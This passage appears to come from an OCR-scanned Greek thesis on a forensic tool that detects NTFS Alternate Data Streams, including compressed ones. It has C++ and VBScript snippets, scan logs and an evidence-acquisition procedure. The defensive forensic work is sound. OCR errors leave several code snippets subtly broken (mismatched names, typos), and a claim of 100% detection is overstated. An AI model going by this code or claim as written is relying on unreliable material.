γνωστοποιεί αν μπορούμε να συνεχίσουμε .Δίνονται επίσης και στιγμιότυπα εκτέλεσης.
Option Explicit
Const LNTFS = "The current volume is NTFS"
Const L_NOTNTFS= "Sorry, the current volume is not NTFS so you will not find any ADS."
IsNTFSO
WScript.Quit
function IsNTFSQ 
dim fso, drv
IsNTFS = False
set fso = CreateObject("Scripting.FileSystemObject")
set drv = fso.GetDrive(fso.GetDriveName(WScript.ScriptFullName))
MsgBox "Drive "+drv+"\ is :"+drv.FileSystem 
set fso = Nothing
if drv.FileSystem = "NTFS" then MsgBox L_NTFS 
if drv.FileSystem = "FAT32" then MsgBox L_NOTNTFS 
if drv.FileSystem = "FAT" then MsgBox L_NOTNTFS 
if drv.FileSystem = "NTFS" then MsgBox L_NTFS
end function__________________________________________________________________
Πίνακας5.8
Εικόνα5.1:Στιγμιότυπα εκτέλεσης του check.vbs
60
Institutional Repository - Library & Information Centre - University of Thessaly
08/12/2017 09:57:48 EET - 137.108.70.7
Παράδειγμα εκτέλεσης της επιλογής 3 όπου παρουσιάζονται οι επιπλέον επιλογές ελέγχου (self / 
content) για μια δικτυακή κοινόχρηστη τοποθεσία που υποστηρίζει NTFS File System :
Επιλογή Self:
3.NTFS ADS check
Do u want to check a file/folder itself or the contents of a folder?
choose(self / content):self
Give full file/folder path:\\10.0.0.5\shared
Date:Aau 08/10/2007
Date: 1:49:46
\\10.0.0.5\shared
No streams found.Do you want to save results to logs file? 
choose(y/n):n 
Πίνακας5.9
Επιλογή Content:
3. NTFS ADS check
Do u want to check a file/folder itself or the contents of a folder?
choose(self / content): content
Give full file/folder path:\\10.0.0.5\shared
Files containing alternate streams:
Date:Acu 08/10/2007 
Time: 2:00:00
"\\10.0.0.5\shared\testfile\testfile.txt"
"\\ 10.0.0.5 \shared\vir\con2 .txt"
"\\ 10.0.0.5\shared\vir\container.txt"
Do you want to save results to logs file?
choose(y/n):n
Πίνακας5.10
Στο παραπάνω παράδειγμα βλέπουμε ότι υπάρχουν τρία αρχεία με Alternate Data Streams σε 
διαφορετικούς υποφακέλους του αρχικού φακέλου που επιλέξαμε. Τα δεδομένα που εξετάζονται δεν 
αλλοιώνονται με κανένα τρόπο ούτε κατά την ανάκτηση αλλά ούτε και κατά την ανάλυσή τους ενώ 
γίνεται κατάλληλη κατηγοριοποίηση σε όλα τα στάδια αλλά και χρονική καταγραφή για δημιουργία 
timeline.Τα αποτελέσματα μπορούν να αποθηκευθούν ύστερα από επιλογή του χρήστη στο αρχείο 
κειμένου (logs.txt) για μελλοντική χρήση.
4. LOG file
Η επιλογή αυτή μας δίνει την δυνατότητα ανά πάσα στιγμή να ελέγχουμε τα αποτελέσματα των 
διαδικασιών/αναζητήσεων που είχαμε εφαρμόσει στο παρελθόν.
Τα πεδία που αποθηκεύονται ύστερα από επιλογή του χρήστη, είναι πολύ σημαντικά για την 
ορθότητα της διαδικασίας forensic.Πιο αναλυτικά τα πεδία που αποθηκεύονται είναι:
1. Ημερομηνία
2. Ώρα
3. Τύπος αναζήτησης
4. Είδος Αρχείου
5. Τοποθεσία Αρχείου
6. Hash value (MD5)
7. Επικινδυνότητα
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4.LOG file
INNER ADS LOCATOR -full Scanning 
Date:IaP 22/09/2007 
Time:19:37:01
*ALL Files****
\\ 10.0.0.5\shared\AdbeRdr20_ppc_enu.exe * D=5
\\10.0.0.5\shared\ebooks for summerVProfessional Java User Interfaces.pdf *D=3 
\\ 10.0.0.5 \shared\testfile.rar * D=4
INNER ADS LOCATOR -full Scanning 
Date:Kup 07/10/2007 
Time:23:57:51
*ALL Files****
G:\\DCIM\readme.rar *D=5 *H=856E72D3C92D8676BC96B645FD74EEC5 
G:\\MSSONY\MOMLOOO 1 Wiew.jpeg *D=2 *H=856E72D3C92D8676BC96B645FD74EEC5
INNER ADS LOCATOR -fast Scanning 
DateiAsu 08/10/2007 
Time: 0:19:56
*RAR Files***
G:\\DCIM\readme.rar *D=5 *H=856E72D3C92D8676BC96B645FD74EEC5 
*EXE Files****
* TXT Files****
Πίνακαςδ.ΙΙ
5.Help
Επιλογή με την οποία δίνεται βοήθεια στον χρήστη για το πως να χρησιμοποιήσει το πρόγραμμα, 
καθώς και μερικές πληροφορίες γύρω από τα Alternate Data Streams που θα του φανούν χρήσιμες 
για πιο αποδοτική αναζήτηση.
O.Exit
Επιλογή εξόδου από το πρόγραμμα. Με αυτή την επιλογή το πρόγραμμα τερματίζεται.
ΕΝΟΤΗΤΑ 5.2 - ΔΙΑΣΥΝΔΕΣΗ ΜΕΤΑΞΥ ΥΠΟΠΡΟΓΡΑΜΜΑΤΩΝ
Ας δούμε όμως πιο αναλυτικά την διασύνδεση μεταξύ των υποπρογραμμάτων που χρησιμοποιούνται 
για να επιτύχει το λογισμικό τον στόχο του .Το πρόβλημα που θέλει να λύσει το λογισμικό αυτό 
χωρίζεται σε μικρότερα υποπροβλήματα καθένα από τα οποία πρέπει να αντιμετωπιστεί με 
διαφορετικό τρόπο .Οι δυο πρώτες επιλογές λοιπόν έχουν να κάνουν με το ίδιο πρόβλημα, δίνοντας
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όμως στον χρήστη την δυνατότητα πληθώρας προσεγγίσεων .Το πρόβλημα που επιλύουν είναι το 
“πρόβλημα εντοπισμού συμπιεσμένων Alternate Data Streams ανεξαρτήτως File System”.
Για την επίλυση αυτού του προβλήματος χρησιμοποιούνται τα υποπρογράμματα full search & fast 
search αλλά και το βοηθητικό υποπρόγραμμα Hash Calculator.
Η τρίτη επιλογή τώρα επιλύει από μόνη της μία άλλη κατηγορία προβλήματος, αυτό του 
εντοπισμού Alternate Data Streams σε NTFS.Tia να επιτύχει τον σκοπό της συνεργάζεται με τα 
υποπρογράμματα self search,content search αλλά και τα βοηθητικά υποπρογράμματα Hash 
Calculator, Ntfs check και Delete Stream.
Τέλος υλοποιούνται εσωτερικά και οι διαδικασίες Log file, Help, Εχΐί.Όλες οι διαδικασίες εκτός 
από τις Help, Exit αλληλεπιδρούν με το αρχείο κειμένου log.txt από το οποίο διαβάζουν και στο 
οποίο γράφουν δεδομένα .Παρακάτω παρουσιάζονται το διάγραμμα χρήσης αλλά και ο πίνακας 
αλληλεπίδρασης των υποπρογραμμάτων με το log.txt.
1 .Hidden-ADS-in-Hard 
-Drive-Check
Full
search
fullcheck.exe
Fast
search
fastcheck.exe
2.Hidden-ADS-per-Folder-Check 3.NTFS ADS check
Full
search
fu1lchecfc.ex9
Delete
Stream
ds.exe
Fast Self
search search
fastcheck.BXB la.exa-------~-----------
Hash
Calc(mds)
rehash.Bxe
Content
search
Ib.bxb _____
Εικόνα5.2:Διάγραμμα διασύνδεσης μεταξύ υποπρογραμμάτων
Y ποπρόγραμμα/Διαδικασία Είδος αλληλεπίδρασης με log.txt
Full Search Write
Fast Search Write
Self Search Write
Content Search Write
Log File Read
Πίνακας5.12
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ΕΝΟΤΗΤΑ 5.3 - ΛΕΙΤΟΥΡΓΙΑ ΛΟΓΙΣΜΙΚΟ Υ/ΥΠΟΠΡΟΓΡΑΜΜΑΤΩΝ
Main.exe
Σκοπός του προγράμματος αυτού είναι να διευκολύνει τον χρήστη στην πιο γρήγορη και άμεση 
επίτευξη του σκοπού του .Παρέχει μέσα από απλές εντολές :
1. Κλήσεις σε υποπρογράμματα
2. Εμφάνιση πληροφοριών των διαθέσιμων μέσων αποθήκευσης
3. Παρουσίαση προηγούμενων αποτελεσμάτων αναζητήσεων
4. Βοήθεια
Αποτελεί τον κεντρικό κόμβο του λογισμικού που αναπτύχθηκε και μέσα από αυτό συντονίζονται 
όλες οι διεργασίες που εκτελούνται.
Έχει υλοποιηθεί σε γλώσσα προγραμματισμού C++(o κώδικας επισυνάπτεται στο παράρτημα).
Η Μέθοδος
Η μέθοδος για την Εμφάνιση πληροφοριών των διαθέσιμων μέσων αποθήκευσης είναι η 
παρακάτω:
ret2=GetLogicalDriveStrings(sizeof(buf),buf);
for(i=0 ;buf[i]!=0; i+=strlen(buf+i)+1)
{ printf("%s =",buf+i); 
ret=GetVolumeInformation(buf+i,
VolName,100,// volume Name 
&Serial, // Serial Number 
&MaxFileLength, // Max File Name Length 
&SysFlags, // File System Flags 
FSName,100 // FS Type 
);
printf("Volume Name : %s\n",VolName); 
printf("Serial Number: %u\n",Serial); 
printf("Max File Name: %u\n",MaxFileLength); 
printf("FS Type : %s\n",FSName); 
printff Flags: \n");
if(SysFlags & FSCASEISPRESERVED) { printf(" File Case Saved\n"); } 
if(SysFlags & FS_CASE_SENSITIVE){ printf(" File Case Important\n");} 
if(SysFlags & FS_UNICODE_STORED_ON_DISK)
{ printf(" Unicode files can be usedYn"); } 
if(SysFlags & FSJPERSISTENTACLS)
{ printf(" File System has inherent security\n"); } 
if(SysFlags & FS_FILE_COMPRESSION)
{ printf(" Files can be compressed transparently^"); } 
if(SysFlags & FS_VOL_IS_COMPRESSED)
{ printf(" Volume is compressed\n");}__________________________________
Πίνακας5.13
Fullcheck.exe
Σκοπός του προγράμματος αυτού είναι να ελέγχει την τοποθεσία (path) που λαμβάνει σαν είσοδο,
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διεξοδικά για τον εντοπισμό συμπιεσμένων Alternate Data Streams ανεξαρτήτως File System σε 
οποιαδήποτε μορφή αρχείου και αν βρίσκονται αυτά.
Η Μέθοδος
Η μέθοδος με την οποία το επιτυγχάνει αυτό είναι αναλύοντας κάθε αρχείο ξεχωριστά, και 
εντοπίζοντας μέσα σε αυτό ενδείξεις για την ύπαρξη συμπιεσμένων Alternate Data Streams που 
μπορεί να έχουν τις έξεις μορφές:
1. Ύποπτα δυσανάλογο μέγεθος για το περιεχόμενό τους
2. Σημάδια εσωτερικού δείκτη σε stream (STM)
Ο δεύτερος μάλιστα τρόπος είναι και ο πιο αποδοτικός, καθώς το μόνο σημείο που πρέπει πάντα να 
υπάρχει για να λειτουργήσει ορθά ένα Alternate Data Stream είναι ο δείκτης από το αρχείο που το 
φιλοξενεί προς αυτό .Παρατηρήθηκε λοιπόν ότι ο δείκτης αυτός δεν εξαλείφεται καθόλη την 
διάρκεια συμπίεσης του βασικού αρχείου αλλά και του Alternate Data Stream του .Η μορφή του 
βέβαια αλλάζει αλλά η βασική αρχή του ότι αν μπορούμε να εντοπίσουμε τον δείκτη, μπορούμε να 
εντοπίσουμε και το Alternate Data Stream, ισχύει. Πρέπει να τονίσουμε εδώ ότι και το Alternate 
Data Stream συμπιέζεται μαζί με το βασικό Data Stream, το μόνο που μένει λοιπόν και μπορεί να 
εντοπισθεί είναι ο σύνδεσμος (δείκτης) μεταξύ αυτών των δύο Streams.
(void)system("FINDSTR/s/m \" D?D:s D3D STM: \" *.* > out.txt :exitbatch ");
Πίνακας5.14
Όταν λοιπόν εντοπίζεται ένα αρχείο το οποίο πληροί μια από τις δύο ή και τις δυο παραπάνω 
προδιαγραφές, τότε το αρχείο αυτό αμέσως εμφανίζεται στην οθόνη του χρήστη, ενώ ταυτόχρονα 
υπάρχει η δυνατότητα να καταγράφεται στο αρχείο log.txt ώστε να επεξεργασθεί κατάλληλα μέσω
της Προτεινόμενης Μεθοδολογίας Διαχείρισης Υπόπτων Αρχείων .
Στην εικόνα που ακολουθεί βλέπουμε τα σημεία στα οποία επικεντρώνουμε τον έλεγχο μας για τον 
εντοπισμό συμπιεσμένων Alternate Data Streams.H πρώτη μέθοδος δεν είναι πάντα αποδοτική 
καθώς όπως έχουμε περιγράφει και σε προηγούμενο κεφάλαιο, οι διακυμάνσεις στο μέγεθος μπορεί 
να μην είναι φανερές.
Η δεύτερη μέθοδος είναι 100% αποδοτική και εντοπίζει πάντα τα συμπιεσμένα Alternate Data 
Streams καθώς χωρίς την ύπαρξη εσωτερικού δείκτη θα χάνονταν και η λειτουργικότητα τους.
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Μέθοδοι Εντοπισμού
1 .Ύποπτα 
δυσανάλογο 
μέγεθος
—- 2.Ύπαρξη - 
εσωτερικού 
δείκτη
Εικόνα5.3:Μέθοδοι εντοπισμού συμπιεσμένων Alternate Data Streams
Σε επίπεδο κώδικα τώρα η σύγκριση του μεγέθους του εξωτερικού αρχείου (.rar) σε σχέση με το 
εσωτερικό ορατό αρχείο του βασικού Data Stream γίνεται με μία απλή μέθοδο η οποία συγκρίνει τα 
δύο μεγέθη και αν βρει ότι το μέγεθος του (.rar) είναι μεγαλύτερο του εσωτερικού, θεωρεί το αρχείο 
ύποπτο .Η συνθήκη αυτή από μόνη της δεν είναι ικανή για να μας διαβεβαιώσει για την ύπαρξη 
συμπιεσμένων Alternate Data Streams, είναι μια ένδειξη όμως που δεν μπορεί να μείνει 
απαρατήρητη.
Η δεύτερη μέθοδος εντοπισμού βασίζεται στη σάρωση του πηγαίου κώδικα του αρχείου συμπίεσης, 
αλλά και του περιεχομένου του για εντοπισμό συγκεκριμένης συμβολοσειράς που να υποδηλώνει 
την ύπαρξη δείκτη σε Alternate Data Stream.
Η μέθοδος αυτή είναι πολύ πιο αποτελεσματική και αποτελεί από μόνη της απόδειξη ύπαρξης 
Alternate Data Stream.O συνδυασμός δε των δύο μεθόδων, όπου αυτό είναι δυνατόν οδηγεί σε 
αλάνθαστα συμπεράσματα.
Fastcheck.exe
Σκοπός του προγράμματος αυτού είναι να ελέγχει την τοποθεσία (path) που λαμβάνει σαν είσοδο, 
διεξοδικά για τον εντοπισμό συμπιεσμένων Alternate Data Streams ανεξαρτήτως File System σε 
αρχεία μορφής (.rar), (.exe), (.txt).
Η συγκεκριμένη αναζήτηση επικεντρώνεται έτσι στα αρχεία που θεωρούνται πιο επικίνδυνα, ενώ 
ολοκληρώνεται σε φανερά συντομότερο χρόνο.
Η Μέθοδος
Η μέθοδος με την οποία το επιτυγχάνει αυτό είναι αναλύοντας κάθε αρχείο ξεχωριστά, και 
εντοπίζοντας μέσα σε αυτό ενδείξεις για την ύπαρξη συμπιεσμένων Alternate Data Streams που 
μπορεί να έχουν τις έξεις μορφές:
1. Ύποπτα δυσανάλογο μέγεθος για το περιεχόμενό τους
2. Σημάδια εσωτερικού δείκτη σε stream (STM)
Όταν εντοπίζεται ένα αρχείο το οποίο πληροί μια από τις δύο ή και τις δυο παραπάνω προδιαγραφές, 
τότε το αρχείο αυτό αμέσως εμφανίζεται στην οθόνη του χρήστη, ενώ ταυτόχρονα υπάρχει η
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δυνατότητα να καταγράφεται στο αρχείο log.txt ώστε να επεξεργασθεί κατάλληλα μέσω της
Προτεινόμενης Μεθοδολογίας Διαχείρισης Υπόπτων Αρχείων.
Ls.exe
Σκοπός του προγράμματος αυτού είναι ο εντοπισμός Alternate Data Streams σε NTFS.H 
αναζήτηση γίνεται σύμφωνα με την είσοδο που δίνεται από τον χρήστη για αναζήτηση σε 
συγκεκριμένη τοποθεσία (path) αρχείου ή φακέλου .Ο έλεγχος που γίνεται ανάλογα πάντα με τις 
επιλογές που εισάγει ο χρήστης, μπορεί να εξετάσει τόσο αυτό κάθε αυτό το φάκελο ή το αρχείο ή 
να εξετάσει το περιεχόμενο ενός φακέλου για Alternate Data Streams.
Η Μέθοδος
Η μόνη Win32 API επίσημη συνάρτηση που θα μπορούσε να χρησιμοποιηθεί για να στοιχίσει τα 
πιθανά Alternate Data Streams ενός αρχείου ή φακέλου είναι η BackupRead .Η συγκεκριμένη 
βέβαια συνάρτηση δεν θα μπορούσε να χρησιμοποιηθεί καθώς θα οδηγούσε σε απαγορευτικές 
χρονικά αναζητήσεις καθώς ακόμη και αν ένα αρχείο φάκελος δεν είχε Alternate Data Streams θα 
έπρεπε να διαπεραστεί πρώτα το Βασικό Data Stream και έπειτα να διαπιστωθεί αν υπάρχει ή όχι 
Alternate Data Stream.Mia τέτοια εκτέλεση λοιπόν για πολλά αρχεία μεγάλου μεγέθους θα 
μπορούσε να κοστίσει χρόνο χωρίς λόγω .Χρειαζόμαστε λοιπόν μια μέθοδο που να ξεχωρίζει 
εξαρχής την ύπαρξη ή όχι Alternate Data Stream [26].
Η αμέσως πιο αξιόπιστη αλλά όχι και τόσο γνωστή μέθοδος εύρεσης πληροφοριών για Alternate 
Data Streams είναι η Native API συνάρτηση NtQuerylnformationFile (ή αλλιώς 
ZwQuerylnformationFile).
// Άνοιγμα αρχείου και απόκτηση πληροφοριών από streams
BYTE InfoBlock[64 * 1024]; // Buffer must be large enough 
PFILE STREAM INFORMATION pStreamlnfo =
(PFILE_STREAM_INFORMATION)InfoBlock;
IO_STATUS_BLOCK ioStatus;
HANDLE hFile = ::CreateFile(szPath, 0, FILESHAREREAD | FILESHAREWRITE,
NULL, OPEN EXISTING, 0, NULL);
NtQueryInformationFile(hFile, &ioStatus, InfoBlock,
sizeof(InfoBlock), FileStreamlnformation);
:: CloseHandle(hF ile);
Πίνακας5.15
Για την διερεύνηση φακέλων χρησιμοποιήθηκαν πιο πολύπλοκες μέθοδοι καθώς αντίθετα με τα 
αρχεία οι φάκελοι:
• Μπορούν να μην περιέχουν κανένα data stream.
• Πρέπει να έχουμε SE_BACKUP_NAME δικαιοδοσία για να τους προσπελάσουμε.
• Πρέπει να καθορίσουμε την FILE_FLAG_BACKUP_SEMANTICS flag όταν καλούμε την 
CreateFile.
// Άνοιγμα φακέλου και απόκτηση πληροφοριών από streams 
HANDLE hToken;
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TOKENPRIVILEGES tp;
:: OpenProcessToken(:: GetCurrentProcess(), TOKEN ADJUST PRIVILEGES, &hToken);
::LookupPrivilegeValue(NULL, SEBACKUPNAME, &tp.Privileges[0].Luid); 
tp.PrivilegeCount = 1;
tp.Privileges[0]. Attributes = SEPRIVILEGEENABLED;
::AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN PRIVILEGES), NULL, NULL); 
::CloseHandle(hToken);
HANDLE hFile = ::CreateFile(szPath, 0, FILE SHARE READ | FILE SHARE WRITE,
NULL, OPEN EXISTING, FILE FLAG BACKUP SEMANTICS, NULL);
BYTE InfoBlock[64 * 1024]; // Buffer must be large enough 
PFILESTREAMINFORMATION pStreamlnfo = 
(PFILESTREAMINFORMATION)InfoBlock;
IOSTATUSBLOCK ioStatus;
pStreamInfo->StreamNameLength = 0; // Zero in this field means empty info block 
NtQueryInformationFile(hFile, &ioStatus, InfoBlock,
sizeof(InfoBlock), FileStreamlnformation);
: :CloseHandle(hFile);
Πίνακας5.16
Για την εμφάνιση των Alternate Data Streams που εντοπίστηκαν χρησιμοποιούμε την παρακάτω 
διαδικασία η οποία εμφανίζει το όνομα (StreamName) σε UNICODE μορφή αλλά και το μέγεθος 
(StreamNameLength) σε bytes :
WCHAR wszStreamName[MAX_PATH]; 
for (;;) {
//έλεγχος για το αν υπάρχει κενό stream
if (pStreamInfo->StreamNameLength == 0) break; // No stream found 
// Get null-terminated stream name
memcpy(wszStreamName, pStreamInfo->StreamName, pStreamInfo->StreamNameLength); 
wszStreamName[pStreamInfo->StreamNameLength / sizeof(WCHAR)] = L'\0';
print("%S", wszStreamName);
if (pStreamInfo->NextEntryOffset == 0) break; // No more stream records 
pStreamlnfo = (PFILESTREAMINFORMATION)
((LPBYTE)pStreamlnfo + pStreamInfo->NextEntryOffset); // Next stream record
1______________________________________________________________________________________
Πίνακας5.17
Για τον έλεγχο περιεχομένου ολόκληρου φακέλου χρησιμοποιούμε τον παρακάτω κώδικα, που 
ελέγχει ένα προς ένα όλα τα αρχεία και υποφακέλους:
myfile.open("ntfstool.bat"); 
myfile«("if exist ntfsreport.txt del ntfsreport.txt\n"); 
myfile«("xcopy fs.bat"); 
myfile«choice3;
myfile«("\n,t);___________________________________
68
Institutional Repository - Library & Information Centre - University of Thessaly
08/12/2017 09:57:48 EET - 137.108.70.7
myfile«("xcopy ls.exe "); 
myfile«choice3; 
myfile«("\n"); 
myfile«("cd /D "); 
myfile«choice3; 
myfile « "\ncall fs.bat \n"; 
myfile « "@cls \n type 
myfile«choice3; 
myfile «"ntfsreport.txt \n"; 
myfile «"xcopy 
myfile <<choice3;
myfile « "ntfsreport.txt \"c:\\ \" /s/c/q/r/h \n";
myfile «"del
myfile <<choice3;
myfile «"ntfsreport.txt \n";
myfile «"del
myfile <<choice3;
myfile «"fs.bat\n";
myfile « "del";
myfile <<choice3;
myfile « "ls.exe\n";
myfile « ":exitbatch";
myfile.closeQ;
(void)system("ntfstool.bat");
(void)system("del ntfstool.bat");
Πίνακας5.18
Ο παραπάνω κώδικας δημιουργεί ένα batch αρχείο (.bat) το οποίο ψάχνει ένα προς ένα αρχεία και 
φακέλους καλώντας το ls.exe, εξάγει αποτελέσματα και αυτοδιαγράφεται.
Rehash.exe
Το βοηθητικό πρόγραμμα αυτό έχει ως σκοπό τον υπολογισμό της τιμής κατακερματισμού (hash 
value) του αλγόριθμου MD5.Είναι ιδιαίτερα χρήσιμο για να αποδείξουμε ότι κατά την διαδικασία 
που ακολουθούμε δεν επηρεάζουμε/αλλοιώνουμε τα αρχεία τα οποία εξετάζουμε .Το πρόγραμμα 
αυτό καλείτε από το main.exe πριν και μετά την εκτέλεση του ls.exe. Τα δύο αποτελέσματα 
συγκρίνονται και έτσι αποδεικνύεται ότι η «Ανάλυση των δεδομένων έγινε χωρίς να υπάρχει 
αλλοίωση τους».Τα αποτελέσματα που εξάγονται χρησιμεύουν επίσης ιδιαίτερα για καταγραφή στο 
log file.
Check.exe
Το βοηθητικό πρόγραμμα αυτό έχει ως σκοπό τον έλεγχο ενός τόμου για το αν αυτός είναι NTFS.Τα 
συμπεράσματα από την εκτέλεση αυτού του υποπρογράμματος τροφοδοτούν το ls.exe ώστε να 
γνωρίζει εάν μπορεί να συνεχίσει την εκτέλεση του.
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Η Μέθοδος
Η μέθοδος που χρησιμοποιούμε για να κρίνουμε εάν ένα τόμος είναι ή όχι NTFS
char szVolName[MAX_PATH], szFSName[MAX_PATH];
DWORD dwSN, dwMaxLen, dwVolFlags;
::GetVoIumeInformation("C:\\", szVolName, MAX_PATH, &dwSN, 
&dwMaxLen, &dwVolFlags, szFSName, MAX PATH);
if (dwVolFlags & FILE_NAMED_STREAMS) {
// File system supports named streams} 
else {
// Named streams are not supported}
Πίνακας5.19
ή πιο σύντομα:
if (_stricmp(szFSName, "NTFS") == 0) // If NTFS_________________________________________
ΓΤίνακας5.20
Ds.exe
To βοηθητικό πρόγραμμα αυτό χρησιμοποιείται για την διαγραφή, με ασφαλή τρόπο, 
των Alternate Data Streams ενός αρχείου ή φακέλου σε NTFS.To εργαλείο αυτό έχει μεγάλη 
χρησιμότητα ειδικά εάν συνδυαστεί με την Προτεινόμενη Μεθοδολογία Διαχείρισης Υπόπτων 
Αρχείων, που περιγράφεται παρακάτω.
Χρήση του προγράμματος: ds stream.ext:alt.ext
Η Μέθοδος
Η μέθοδος διαγραφής ενός Alternate Data Stream είναι ακριβώς ίδια με την διαγραφή ενός 
οποιουδήποτε αρχείου αρκεί πρώτα να έχουμε εντοπίσει το όνομά του:
::DeleteFile("file.dat:alt");
Πίνακας5.21
ΕΝΟΤΗΤΑ 5.4 - POST MORTEM ΕΞΕΥΡΕΣΗ ADS
Για την εξεύρεση Alternate Data Streams κατά την διάρκεια Post Mortem Forensics έχουν 
προταθεί διάφορες τεχνικές οι οποίες όμως δεν παρέχουν συνολική εικόνα των υπό εξέταση 
αρχείων.
Πιο συγκεκριμένα η εικόνα (image) ανακτάται ώστε να τηρούνται αυστηρά οι παρακάτω αρχές:
-Ανάκτηση των δεδομένων χωρίς να υπάρξει αλλοίωση του αρχικού τους περιεχομένου. 
-Πιστοποίηση ως προς το ότι τα δεδομένα που έχουν ανακτηθεί, είναι ίδια με τα αρχικά.
Αφού λοιπόν έχουμε ανακτηθεί ένα ακριβές αντίγραφο του δίσκου, εκτελούμε με κατάλληλα 
εργαλεία (λογισμικό) ανάλυση του δίσκου ερευνώντας για τα αρχεία που αναζητούνται ανά 
περίπτωση.
Επειδή τα μέσα αποθήκευσης σήμερα έχουν αποκτήσει μεγάλο μέγεθος ,έτσι ώστε να αποθηκεύουν 
τεράστιο όγκο δεδομένων, η αναζήτηση και ανάλυση ενός ολόκληρου τόμου γίνεται όλο και πιο 
δύσκολη αλλά και χρονοβόρα διαδικασία.
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Ανάλογα με το είδος της αναζήτησης αλλάζει και η τεχνική αλλά και πολλές φορές τα εργαλεία που 
χρησιμοποιούνται. Γίνεται προσπάθεια λοιπόν για δημιουργία στοχευόμενων αναζητήσεων ανά 
είδος, ώστε να μειώνεται σημαντικά ο χρόνος να αυξάνεται η απόδοση.
Alternate Data Stream σε NTFS
Σε ότι αφορά λοιπόν την αναζήτηση απλών Alternate Data Stream σε NTFS πρέπει να 
ακολουθείτε διαπιστωμένα η παρακάτω τεχνική ώστε να διασφαλισθούν καταρχάς οι παραπάνω δύο 
κανόνες που αναφέραμε.
1. Απενεργοποίηση του υπολογιστικού συστήματος
2. Υπολογισμός του Hash value του τόμου
3. Αντιγραφή του NTFS τόμου αυστηρά σε άλλο NTFS τόμο ώστε να μην χαθούν τα Alternate 
Data Streams
4. Υπολογισμός του Hash value ξανά και σύγκριση με το αποτέλεσμα του βήματος 2
5. Αναζήτηση των Alternate Data Streams με κατάλληλη τεχνική
6. Διαχείριση υπόπτων αρχείων
7. Χρονική καταγραφή, απαραίτητη σε κάθε βήμα
Από την παραπάνω τεχνική συνήθως εντοπίζονται τα Alternate Data Stream σε NTFS αν και τις 
περισσότερες φορές δεν εντοπίζονται τα βασικά data stream που έδειχναν σε αυτά .Αυτό μπορεί 
να αποτελέσει πρόβλημα γιατί ουσιαστικά χάνετε η δυνατότητα εντοπισμού του αρχείου πίσω από 
το οποίο κρύβονταν το Alternate Data Stream.
Για τον εξεταστή λοιπόν το Alternate Data Stream είναι άλλο ένα αρχείο που βρίσκεται 
αποθηκευμένο σε κάποιο κομμάτι του σκληρού δίσκου, αλλά δεν είναι προσβάσιμο με συνηθισμένες 
μεθόδους από τους απλούς χρήστες.
Η έλλειψη λοιπόν συσχέτισης του βασικού data stream με το/τα Alternate Data Streams του 
μπορεί να οδηγήσει τον εξεταστή σε λανθασμένα συμπεράσματα για την σημαντικότητα της 
πληροφορίας, καθώς μία κρυμμένη πληροφορία ενός χρήστη σε ένα Alternate Data Stream 
σίγουρα αποτελεί πιο κρίσιμο εύρημα από ένα ακόμη κοινό αρχείο στον σκληρό δίσκο.
Συμπιεσμένα Alternate Data Streams ανεξαρτήτως File System
Σε ότι αφορά τα Συμπιεσμένα Alternate Data Streams, η βιβλιογραφία δεν έχει προτείνει κάποιον 
σίγουρο τρόπο εντοπισμού και διαχείρισης αυτών τον αρχείων σε μία έρευνα με την μέθοδο Post 
Mortem.
Προτείνουμε την παρακάτω διαδικασία για την ορθή εξαγωγή Συμπιεσμένων 
Alternate Data Streams ανεξαρτήτως File System:
1. Απενεργοποίηση του υπολογιστικού συστήματος
2. Υπολογισμός του Hash value του τόμου
3. Αντιγραφή του τόμου αυστηρά σε άλλο NTFS τόμο ώστε να μην χαθούν τα Alternate Data 
Streams
4. Υπολογισμός του Hash value ξανά και σύγκριση με το αποτέλεσμα του βήματος 2
5. Αναζήτηση των Συμπιεσμένων Alternate Data Streams με κατάλληλη τεχνική που 
περιγράφεται παρακάτω
6. Διαχείριση υπόπτων αρχείων
7. Χρονική καταγραφή, απαραίτητη σε κάθε βήμα
Το βήμα 3 απαιτεί καταγραφή αυστηρά από οποιοδήποτε File System αυστηρά σε NTFS τόμο ώστε 
όταν εντοπιστεί ύποπτο συμπιεσμένο αρχείο που περιέχει Alternate Data Streams, κατά την
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αποσυμπίεση να μην χαθεί το κρυφό αρχείο αυτό.
Το βήμα 3 αντιτίθεται στις μέχρι τώρα τεχνικές που ήθελαν αντιγραφή ενός τόμου συγκεκριμένου 
τύπου, απαραίτητα σε άλλο τόμο του ιδίου τύπου .Ο λόγος που είχε υιοθετηθεί η προηγούμενη 
τεχνική ήταν γιατί δεν υπήρχε περίπτωση ύπαρξης και διαχείρισης Alternate Data Stream σε File 
System διαφορετικό από NTFS.H υπόθεση αυτή βέβαια είναι εν μέρει σωστή καθώς όντως μπορεί 
να μην διατηρούνται Alternate Data Streams σε κανονική μορφή σε έναν τόμο με File System 
διαφορετικό από NTFS αυτό δεν σημαίνει όμως ότι ισχύει το ίδιο και για τα συμπιεσμένα αρχεία 
τα οποία κάποια στιγμή θα πρέπει να αποσυμπιεστούν για να ελεγχθούν .Ο έλεγχος και η διαχείριση 
αυτών των Συμπιεσμένων Alternate Data Streams θα περιγράφει παρακάτω.
Στο βήμα 5 τώρα προτείνουμε αναζήτηση των Συμπιεσμένων Alternate Data Streams με την 
τεχνική που περιγράφηκε και στη μέθοδο λειτουργίας του Fullcheck.exe.
Πιο συγκεκριμένα αναζητούμε σε όλα τα αρχεία τού αποθηκευτικού μέσου που μας δίνεται σημάδια 
εσωτερικού δείκτη σε stream (STM).
Αυτό επιτυγχάνεται με την αναζήτηση συγκεκριμένων συμβολοσειρών που σηματοδοτούν την 
ύπαρξη αυτού του εσωτερικού δείκτη και άρα την ύπαρξη Συμπιεσμένου Alternate Data Stream.
“P?P:s Π3Π STM:”
Πίνακας5.22:Ενδεικτική ASCII συμβολοσειρά 1 αναζήτησης
“ΞΡζΡ€= ΠΦ τΡ ΡΡΔΡΡ D3D STM:”_________________________________________________
Πίνακας5.23:Ενδεικτική ASCII συμβολοσειρά 2 αναζήτησης
Παρακάτω βλέπουμε την διαδικασία που περιγράφηκε στην πράξη χρησιμοποιώντας ένα δημοφιλές 
εργαλείο Post Mortem Forensics ,το X-WAYS forensic,για να ελέγξουμε ένα παρακάτω τόμο 
αποθήκευσης που είναι ένα Sony Memory Stick 16ΜΒ και υποστηρίζει Fat File System.
Εικόνα5.4:Αναζήτηση συμβολοσειράς
Τα αποτελέσματα λοιπόν από την παραπάνω αναζήτηση στον εν λόγω τόμο, του οποίου τα στοιχεία
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είχαμε αναφέρει αναλυτικά και στον Πίνακα 5.4, δείχνουν πως υπάρχουν δύο ύποπτα αρχεία 
